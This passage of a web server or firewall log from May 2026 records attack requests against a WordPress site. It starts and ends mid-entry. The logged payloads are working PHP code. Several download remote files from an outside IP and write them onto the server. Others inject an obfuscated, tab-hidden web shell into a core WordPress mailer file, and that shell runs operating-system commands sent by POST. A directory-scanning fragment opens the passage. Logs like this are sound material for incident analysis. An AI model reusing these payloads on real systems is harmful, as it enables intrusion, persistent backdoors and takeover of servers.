ir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 18:03:54","67.205.18.1","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jG:%3C%3Fphp%20%20file_put_contents%28%27NetPBM.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/FUgqzlvTGM%27%29%29%3B","POST \/ HTTP\/1.1\ncontent-length:169\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnxpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nupgrade-insecure-requests:1\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\n\njG=%3C%3Fphp%20%20file_put_contents%28%27NetPBM.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/FUgqzlvTGM%27%29%29%3B"]
["2026-05-12 18:04:01","188.138.39.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PH:%3C%3Fphp%20%20file_put_contents%28%27go.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/wcQnLGDQYH%27%29%29%3B","POST \/ HTTP\/1.1\ncontent-length:165\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHRtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nupgrade-insecure-requests:1\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\n\nPH=%3C%3Fphp%20%20file_put_contents%28%27go.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/wcQnLGDQYH%27%29%29%3B"]
["2026-05-12 18:05:23","179.27.99.226","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jX:%3C%3Fphp%20%20file_put_contents%28%27auctionfriend.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/lPHMLoNVea%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:176\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnytvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nupgrade-insecure-requests:1\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\n\njX=%3C%3Fphp%20%20file_put_contents%28%27auctionfriend.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/lPHMLoNVea%27%29%29%3B"]
["2026-05-12 18:05:29","216.194.166.232","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xF:%3C%3Fphp%20%20file_put_contents%28%27fix3.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/vnzvOxsOnF%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:167\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrRLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\n\nxF=%3C%3Fphp%20%20file_put_contents%28%27fix3.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/vnzvOxsOnF%27%29%29%3B"]
["2026-05-12 18:05:32","92.205.188.156","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20file_put_contents%28%27timetable.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/IbpgCJoILB%27%29%29%3B\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:195\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20file_put_contents%28%27timetable.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/IbpgCJoILB%27%29%29%3B\"));"]
["2026-05-12 18:40:11","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-phpmailer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524parameter_group1%2520%253D%2520%252765%2527%253B%2524parameter_group2%2520%253D%2520%25276d%2527%253B%2524parameter_group3%2520%253D%2520%25275f%2527%253B%2524parameter_group4%2520%253D%2520%252778%2527%253B%2524parameter_group5%2520%253D%2520%252770%2527%253B%2524parameter_group6%2520%253D%2520%252761%2527%253B%2524parameter_group7%2520%253D%2520%252768%2527%253B%2524parameter_group8%2520%253D%2520%25276f%2527%253B%2524parameter_group9%2520%253D%2520%252773%2527%253B%2524parameter_group10%2520%253D%2520%252774%2527%253B%2524parameter_group11%2520%253D%2520%252772%2527%253B%2524parameter_group12%2520%253D%2520%252763%2527%253B%2524parameter_group13%2520%253D%2520%25276e%2527%253B%2524parameter_group14%2520%253D%2520%252769%2527%253B%2524parameter_group15%2520%253D%2520%252767%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252779%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group2%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524parameter_group1%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252773%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group7%2520.%2520%252772%2527%2520.%2520%252775%2527%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group5%2520.%2520%252765%2527%2520.%2520%25276e%2527%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group1%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524parameter_group10%2520.%2520%25275f%2527%2520.%2520%2524parameter_group12%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%2524parameter_group10%2520.%2520%252765%2527%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group9%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group12%2520.%2520%25276c%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group9%2520.%2520%252765%2527%2529%253B%2524right_pad_string%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252772%2527%2520.%2520%2524parameter_group14%2520.%2520%252767%2527%2520.%2520%2524parameter_group7%2520.%2520%252774%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252764%2527%2520.%2520%25275f%2527%2520.%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group14%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group15%2529%253Bif%2528isset%2528%2524_POST%255B%2524right_pad_string%255D%2529%2529%257B%2524right_pad_string%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524right_pad_string%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524right_pad_string%252C%2524elem_ref%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524elem_ref%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524binding_key%253D%2524system_core5%2528%2524right_pad_string%252C%2522r%2522%2529%253Bif%2528%2524binding_key%2529%257B%2524entry_resource%253D%2524system_core6%2528%2524binding_key%2529%253B%2524system_core7%2528%2524binding_key%2529%253Bprint%2520%2524entry_resource%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:7735\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIHtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept:*\/*\n\nUH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-phpmailer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524parameter_group1%2520%253D%2520%252765%2527%253B%2524parameter_group2%2520%253D%2520%25276d%2527%253B%2524parameter_group3%2520%253D%2520%25275f%2527%253B%2524parameter_group4%2520%253D%2520%252778%2527%253B%2524parameter_group5%2520%253D%2520%252770%2527%253B%2524parameter_group6%2520%253D%2520%252761%2527%253B%2524parameter_group7%2520%253D%2520%252768%2527%253B%2524parameter_group8%2520%253D%2520%25276f%2527%253B%2524parameter_group9%2520%253D%2520%252773%2527%253B%2524parameter_group10%2520%253D%2520%252774%2527%253B%2524parameter_group11%2520%253D%2520%252772%2527%253B%2524parameter_group12%2520%253D%2520%252763%2527%253B%2524parameter_group13%2520%253D%2520%25276e%2527%253B%2524parameter_group14%2520%253D%2520%252769%2527%253B%2524parameter_group15%2520%253D%2520%252767%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252779%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group2%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524parameter_group1%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252773%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group7%2520.%2520%252772%2527%2520.%2520%252775%2527%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group5%2520.%2520%252765%2527%2520.%2520%25276e%2527%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group1%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524parameter_group10%2520.%2520%25275f%2527%2520.%2520%2524parameter_group12%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%2524parameter_group10%2520.%2520%252765%2527%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group9%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group12%2520.%2520%25276c%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group9%2520.%2520%252765%2527%2529%253B%2524right_pad_string%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252772%2527%2520.%2520%2524parameter_group14%2520.%2520%252767%2527%2520.%2520%2524parameter_group7%2520.%2520%252774%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252764%2527%2520.%2520%25275f%2527%2520.%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group14%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group15%2529%253Bif%2528isset%2528%2524_POST%255B%2524right_pad_string%255D%2529%2529%257B%2524right_pad_string%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524right_pad_string%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524right_pad_string%252C%2524elem_ref%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524elem_ref%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524binding_key%253D%2524system_core5%2528%2524right_pad_string%252C%2522r%2522%2529%253Bif%2528%2524binding_key%2529%257B%2524entry_resource%253D%2524system_core6%2528%2524binding_key%2529%253B%2524system_core7%2528%2524binding_key%2529%253Bprint%2520%2524entry_resource%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:40:12","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-phpmailer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524parameter_group1%2520%253D%2520%252765%2527%253B%2524parameter_group2%2520%253D%2520%25276d%2527%253B%2524parameter_group3%2520%253D%2520%25275f%2527%253B%2524parameter_group4%2520%253D%2520%252778%2527%253B%2524parameter_group5%2520%253D%2520%252770%2527%253B%2524parameter_group6%2520%253D%2520%252761%2527%253B%2524parameter_group7%2520%253D%2520%252768%2527%253B%2524parameter_group8%2520%253D%2520%25276f%2527%253B%2524parameter_group9%2520%253D%2520%252773%2527%253B%2524parameter_group10%2520%253D%2520%252774%2527%253B%2524parameter_group11%2520%253D%2520%252772%2527%253B%2524parameter_group12%2520%253D%2520%252763%2527%253B%2524parameter_group13%2520%253D%2520%25276e%2527%253B%2524parameter_group14%2520%253D%2520%252769%2527%253B%2524parameter_group15%2520%253D%2520%252767%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252779%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group2%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524parameter_group1%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group1%2520.%2520%2